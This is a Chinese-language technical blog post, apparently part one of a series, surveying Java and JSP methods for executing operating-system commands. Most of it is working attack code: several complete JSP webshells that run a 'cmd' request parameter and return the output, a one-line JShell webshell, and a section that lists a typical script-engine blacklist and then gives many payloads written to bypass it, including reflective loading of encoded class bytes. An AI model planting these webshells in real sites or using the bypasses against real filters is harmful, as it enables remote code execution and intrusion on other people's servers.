JSP执行命令的方式有很多,包括常见的命令执行方法(Runtime、ProcessBuilder、ProcessImp等)、类加载、反序列化等。第一篇讲讲命令执行
// 命令执行
(1)java.lang.Runtime
(2)java.lang.ProcessBuilder
(3)java.lang.ProcessImpl
(4)javax.script.ScriptEngineManager
(5)java.beans.Expression
(6)java.beans.Statement
(7)javax.el.ELProcessor(Tomcat EL)
(8)javax.el.ELManager (Tomcat EL)
OGNL(Struct),SpEL(Spring)
(9)JShell
(10)MVEL
1. 命令执行
(1)Runtime
每个Java应用程序都有一个类Runtime的实例,该实例允许应用程序与运行应用程序的环境进行交互。Runtime的基础用法如下,执行命令但没有回显。
Runtime.getRuntime().exec("calc.exe");
单例模式
Runtime是单例模式设计,也就是不能通过New来创建对象,而是提供了一个统一的创建对象的方法—getRuntime。Runtime对于单例模式实现的源码如下
private static Runtime currentRuntime = new Runtime();
public static Runtime getRuntime() { return currentRuntime; }
private Runtime() {} // Don't let anyone else instantiate this class
分割处理
Runtime的exec方法,实际调用的是ProcessBuilder.start()
,返回的是一个Process对象。但是在调用ProcessBuilder之前会先通过StringTokenizer
进行处理,它会把\t\n\r\f
都当成分隔符,也就是会根据回车、空格对字符串进行分割。
return new ProcessBuilder(cmdarray).environment(envp).directory(dir).start();
exec方法有多种,一种是传入单条命令String command
,一种是传入命令数组String cmdarray[]
。在windows下一般用cmd来进行命令行操作,linux则是/bin/sh
String cmd = "cmd /c calc";
String [] cmd={"cmd","/c","calc"};
String [] cmd={"/bin/sh","-c","open -a Calculator"};
需要注意的是String cmd="/bin/sh -c \"echo 1 > a.txt\""
,这个Runtiem字符串由于字符串按空格分割,在bash命令行下无法正常执行,就需要换成字符数组的形式传入,原因如下
// windows,成功
cmd /c echo axisx > 1.txt
cmd /c "echo axisx > 2.txt"
// Linux,失败
/bin/sh -c echo axisx > 1.txt
// Linux,成功
/bin/sh -c "echo axisx > 1.txt"
终端Demo
利用Runtime写JSP虽然能执行命令了但是还不够,需要加入回显操作,完整写法如下
public static void main(String[] args) throws IOException {
String [] cmd={"cmd","/c","whoami"};
Process p=Runtime.getRuntime().exec(cmd);
InputStream ins= p.getInputStream();
String line=null;
InputStreamReader inputStreamReader=new InputStreamReader(ins);
BufferedReader bufferedReader=new BufferedReader(inputStreamReader);
while((line=bufferedReader.readLine())!=null){
System.out.println(line);
}
}
IO流
Input是从外部读入数据到内存,Output是把数据从内存读到外部。IO流以byte(字节)为最小单位,因此也称为字节流。InputStream代表输入字节流,OuputStream代表输出字节流。字节的符号形式是0x00
,并不易读,所以需要转换为char字符形式。这种流称为字符流,输入输出的字符流分别用Reader
和Writer
来进行。
Runtime的命令执行时操作系统层面的,属于Java的外部,需要先用InputStream
将操作结果读入到内存,然后转换成字符形式。所以其核心是将字节流转换为字符流。InputStream
是一个抽象类,是所有字节输入流的超类,子类包括FileInputStream、ByteArrayInputStream
等。Reader
则是所有字符输入流的超类,InputStreamReader
是其子类,也是字节流到字符流的桥梁,将任何InputStream
转换为Reader
。这些构成了上述Demo。
JSP Demo
但是System.out.println
是用于终端输出的,想要在页面上输出需要依靠response对象。还需要将每次的line
拼接起来得到一个完整的输出字符串。如果采用s=s+line
的形式,每次生成的都是临时对象浪费内存并影响GC效率,所以Java标准库提供了StringBuilder来进行字符串拼接。它进行的是链式操作,append()方法进行拼接会返回this,也就是不断调用自身。将上述Demo改为JSP形式如下
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<html>
<body>
<h2>Runtime JSP WebShell</h2>
<%
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd.split(" "));
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
if (stringBuilder.length() > 0) {
response.getOutputStream().write(stringBuilder.toString().getBytes());
}
%>
</body>
</html>
Runtime类除了上述常用于命令执行的方法,还具有查看JVM内存的freeMemory、totalMemory、maxMemory
,还有Agent内存马中用于添加钩子进行免杀的addShutdownHook
方法
(2)ProcessBuilder
ProcessBuilder类用于创建操作系统进程,上文说过Runtime实际调用的就是ProcessBuilder,所以利用二者的区别只在于命令执行的写法。
Process process = Runtime.getRuntime().exec(cmd.split(" "));
Process process = new ProcessBuilder().command(s.split(" ")).start();
ProcessBuilder.start会开启进程,实际调用的是ProcessImpl.start
,ProcessImpl
是Process的子类,专门为ProcessBuilder创建Process设计的。Process主要用于进程处理,获取进程的输入输出流(getInputStream/getOutputStream
)、等待或销毁进程(WaitFor/destory
)等。
(3)ProcessImpl
ProcessBuilder.start实际调用的是ProcessImpl.start
,所以理论上可以直接通过ProcessImpl
来执行命令。但是ProcessImpl
是final
修饰的,其构造方法也是private的,所以无法直接New一个对象出来。需要通过反射的方式来执行。其start方法如下,对于静态方法(static)来说,invoke时可以传入对象也可以传入null
static Process start(String cmdarray[], java.util.Map<String,String> environment,String dir,ProcessBuilder.Redirect[] redirects,boolean redirectErrorStream)
反射写法如下
String [] cmd={"cmd","/c","whoami"};
Class processimpl=Class.forName("java.lang.ProcessImpl");
Method m1=processimpl.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
m1.setAccessible(true);
Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);
(4)ScriptEngineManager
javax.script
,从JDK1.6开始引入,用于解析Javascript。被称作Java脚本引擎。
ScriptEngineManager
根据name
(js
或javascript
)可以获取javascript脚本的工厂并生成对应的ScriptEngine,然后就可以利用ScriptEngine.eval()
解析脚本字符串。用法如下
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
String script="java.lang.Runtime.getRuntime().exec(\"calc\")";
engine.eval(script);
需要注意的是,从 JDK 1.8 开始,Nashorn取代 Rhino(JDK 1.6, JDK1.7)成为 Java 的嵌入式 JavaScript 引擎,并在JDK15被取消。
黑名单绕过
一般的防御会采用黑名单的方式,常见黑名单如下
private static final Set<String> blacklist = Sets.newHashSet(
// Java 全限定类名
"java.io.File", "java.io.RandomAccessFile", "java.io.FileInputStream", "java.io.FileOutputStream",
"java.lang.Class", "java.lang.ClassLoader", "java.lang.Runtime", "java.lang.System", "System.getProperty",
"java.lang.Thread", "java.lang.ThreadGroup", "java.lang.reflect.AccessibleObject", "java.net.InetAddress",
"java.net.DatagramSocket", "java.net.DatagramSocket", "java.net.Socket", "java.net.ServerSocket",
"java.net.MulticastSocket", "java.net.MulticastSocket", "java.net.URL", "java.net.HttpURLConnection",
"java.security.AccessControlContext",
// JavaScript 方法
"eval", "new function");
如何绕过黑名单?可以看到Runtime被禁用了,但是上文讲过Runtime本质上调用的是ProcessBuilder、ProcessImpl
,所以可以将执行脚本的字符串换成如下形式
String script="var x=new java.lang.ProcessBuilder; x.command(\"calc\"); x.start();";
String script="new java.lang.ProcessBuilder().command(\"calc\").start();";
或者利用注释或空格等绕过方式
String script="java.lang./****/Runtime.getRuntime().exec(\"calc\")";
还可以利用Funtion来创建对象绕过
String script="var x=new Function('return'+'(new java.'+'lang.ProcessBuilder)')(); x.command(\"calc\"); x.start();";
也可以额创建ScriptEngineManager来执行
new javax.script.ScriptEngineManager().getEngineByName("js").eval("var a = test(); function test() { var x=java.lang."+"Runtime.getRuntime().exec(\"calc\");};");
另外,作为解析引擎,它有自己的词法分析机制,具体可以看jdk.nashorn.internal.parser.Lexer
中的源码
String script="var x=java.\u2028lang.Runtime.getRuntime().exec(\"calc\");";
String script="var x=java.\u2029lang.Runtime.getRuntime().exec(\"calc\");";
String script="var x=java.lang.//\nRuntime.getRuntime().exec(\"calc\");";
Nashorn特性
JDK1.8开始采用的是Nashorn引擎,它支持的name
可以在NashornScriptEngineFactory
中看到(package-info.class)。
private static final List<String> names = immutableList("nashorn", "Nashorn", "js", "JS", "JavaScript", "javascript", "ECMAScript", "ecmascript");
private static final List<String> mimeTypes = immutableList("application/javascript", "application/ecmascript", "text/javascript", "text/ecmascript");
private static final List<String> extensions = immutableList("js");
输出方式:print()、printf()、echo()
都是用于脚本输出。利用输出来写文件的Demo如下
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("JavaScript");
File outputFile = new File("jsoutput.txt");
FileWriter writer = new FileWriter(outputFile);
ScriptContext defaultCtx = engine.getContext();
defaultCtx.setWriter(writer);
String script = "print(\"This is AxisX Test\")";
engine.eval(script);
writer.close();
传参方式:put()
放入键值对,get取键。这也称为脚本绑定。绑定(Bindings)是一组键/值对,键必须是非空的非空字符串。
String script = "print(msg)";
engine.put("msg", "This is AxisX Test");
engine.eval(script);
engine.get("msg");
全局特性:Package、对象
1)Nashorn将所有Java包都定义为名为 Packages 的全局变量的属性
也就是java.lang.Runtime
可以写为Packages.java.lang.Runtime
,所以脚本可以写成
String script="Packages.java.lang.Runtime.getRuntime().exec(\"calc\")";
2)Java对象的 type()函数将Java类型导入脚本中
也就是类对象可以通过Java.type(\"java.lang.Runtime\");
的形式获取,所以脚本可以写成
String script="var runtime=Java.type(\"java.lang.Runtime\"); var object =runtime.getRuntime(); object.exec(\"calc\");";
3)内置函数importPackage()
和importClass()
分别从包中导入所有类和从包导入类
要在Nashorn中使用这些函数,需要使用load()函数从mozilla_compat.js
文件加载兼容性模块。
String script = "load(\"nashorn:mozilla_compat.js\"); importPackage(java.lang); var x=Runtime.getRuntime(); x.exec(\"calc\");";
String script = "load(\"nashorn:mozilla_compat.js\"); importClass(java.lang.Runtime); var x=Runtime.getRuntime(); x.exec(\"calc\");";
4)可以在with语句中使用JavaImporter对象的类的简单名称
String script="var importer =JavaImporter(java.lang); with(importer){ var x=Runtime.getRuntime().exec(\"calc\");}";
反射
String script1 = "var clazz = java.security.SecureClassLoader.class;\n" +
" var method = clazz.getSuperclass().getDeclaredMethod('defineClass', 'axisx'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
" method.setAccessible(true);\n" +
" var classBytes = 'yv66vg...';" +
" var bytes = java.util.Base64.getDecoder().decode(classBytes);\n" +
" var constructor = clazz.getDeclaredConstructor();\n" +
" constructor.setAccessible(true);\n" +
" var clz = method.invoke(constructor.newInstance(), bytes, 0 , bytes.length);\nprint(clz);" +
" clz.newInstance();";
JSP
简单的JSP写法如下,还可以结合反射进行改造
<%
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("nashorn");
String payload=request.getParameter("cmd");
Compilable compEngine=(Compilable)engine;
CompiledScript script=compEngine.compile(payload);
BufferedReader object=(BufferedReader)script.eval();
String line="";
String result="";
while((line=object.readLine())!=null){
result=result+line;
}
out.println(result);
%>
最后,关于ScriptEngineManager的内容可以查看官方文档:https://docs.oracle.com/en/java/javase/12/scripting/java-scripting-programmers-guide.pdf
(5) Expression
EL(Expression Language,表达式语言),主要作用于JSP来访问页面的上下文和不同作用域中的对象,并进行简单的运算。java.beans.Expression
是JDK自带的,其构造方法如下,分别传入表达式的目标,方法名和参数,其中参数是Object数组的形式。运算则是getValue来实现
@ConstructorProperties({"target", "methodName", "arguments"})
public Expression(Object target, String methodName, Object[] arguments) {
super(target, methodName, arguments);
}
命令执行写法如下
Expression expression=new Expression(Runtime.getRuntime(),"exec",new Object[]{"calc"});
expression.getValue();
getValue实际调用的是java.beans.Statement#invoke
public Object getValue() throws Exception { setValue(invoke()); }
再往下追踪其实调用的是java.beans.Statement#invokeInternal
,它非常典型地实现了反射
private Object invokeInternal() throws Exception {
Object target = getTarget();
String methodName = getMethodName();
Object[] arguments = getArguments();
if (target == Class.class && methodName.equals("forName")) {
return ClassFinder.resolveClass((String)arguments[0], this.loader);
}
Class<?>[] argClasses = new Class<?>[arguments.length];
for(int i = 0; i < arguments.length; i++) {
argClasses[i] = (arguments[i] == null) ? null : arguments[i].getClass();
}
...
所以Expression
也可以替换成Statement
来执行命令
(6) Statement
java.beans.Statement
位于的java.beans
包常用于反射相关功能。Statement
中的Invoke、InvokerInternal
方法都是无法直接调用的,但是execute
方法调用了Invoke
,所以上述Expression
的写法还可以改成如下的形式。
Statement statement=new Statement(Runtime.getRuntime(),"exec",new Object[]{"calc"});
statement.execute();
(7) ELProcessor
ScriptEngineManager有eval函数,ELProcessor也有eval函数,它位于tomcat。
String script= "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='"+cmd+"';java.lang.Runtime.getRuntime().exec(exp);\")";
ELProcessor elProcessor = new ELProcessor();
Process process = (Process) elProcessor.eval(script);
ELProcessor的eval方法调用的是getValue,其实现如下,Expression
的创建由factory
来实现,factory
则是由ELManager
来创建的
private final ExpressionFactory factory;
public ELProcessor() {
this.context = this.manager.getELContext();
this.factory = ELManager.getExpressionFactory();
}
public Object getValue(String expression, Class<?> expectedType) {
ValueExpression ve = this.factory.createValueExpression(this.context, bracket(expression), expectedType);
return ve.getValue(this.context);
}
那么ELProcessor的写法也可以改成ELManager来实现
(8) ELManager
String script= "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='calc';java.lang.Runtime.getRuntime().exec(exp);\")";
ELManager elManager=new ELManager();
ELContext elContext=elManager.getELContext();
ExpressionFactory expressionFactory=ELManager.getExpressionFactory();
ValueExpression valueExpression=expressionFactory.createValueExpression(elContext,"${"+script+"}",Object.class);
valueExpression.getValue(elContext);
(9)JShell
JDK9以上的特性,不多说了
<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("cmd"))%>
(10)MVEL
payload如下
ShellSession shellSession=new ShellSession();
shellSession.exec("push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');");
ShellSession执行exec
实际执行的是_exec()
。而_exec()
会根据传入的commond的类型来调用对应的类
((Command)this.commands.get(inTokens[0])).execute(this, passParameters);
commands支持的命令和命令对应的类如下:
"help" -> {Help@605}
"exit" -> {Exit@607}
"cd" -> {ChangeWorkingDir@609}
"set" -> {Set@611}
"showvars" -> {ShowVars@613}
"ls" -> {DirList@614}
"inspect" -> {ObjectInspector@616}
"pwd" -> {PrintWorkingDirectory@618}
"push" -> {PushContext@620}
ls、pwd、cd都是操作系统常见命令。用到的push需要解释一下,push调用的是PushContext
类,该类实际调用的是MVEL.eval()
。但是进入到PushContext类之前,push
作为token就被去掉了,不会被带入到表达式中。
public Object execute(ShellSession session, String[] args) {
session.setCtxObject(MVEL.eval(args[0], session.getCtxObject(), session.getVariables()));
return "Changed Context";
}
MVEL.eval执行解析
public static Object eval(String expression, Object ctx, Map<String, Object> vars) {
CachingMapVariableResolverFactory factory = new CachingMapVariableResolverFactory(vars);
Object var4;
try {
var4 = (new MVELInterpretedRuntime(expression, ctx, factory)).parse();
} finally {
factory.externalize();
}
return var4;
}
网友评论